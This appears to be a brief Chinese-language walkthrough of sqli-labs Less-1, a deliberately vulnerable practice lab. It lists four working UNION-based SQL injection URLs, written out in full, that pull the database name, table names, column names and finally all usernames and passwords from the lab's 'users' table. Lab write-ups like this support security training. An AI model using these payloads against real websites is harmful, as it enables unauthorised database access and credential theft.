sqllib-1

sqllib-1

字符型注入
1、获取数据库名
192.168.92.***/sqli-labs/Less-1/?id=600 ’ union select 1,20，database()–+
2、获取表
192.168.92.*/sqli-labs/Less-1/?id=*600 *’ union select 1,20,(select group_concat(table_name) from information_schema.tables where table_schema=database() )–+

3、获取列
192.168.92.129/sqli-labs/Less-1/?id=600’ union select 1,20,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ )–+

4、用户名、密码
192.168.92.129/sqli-labs/Less-1/?id=600’ union select 1,20,(select group_concat(username,’:’,password) from users )–+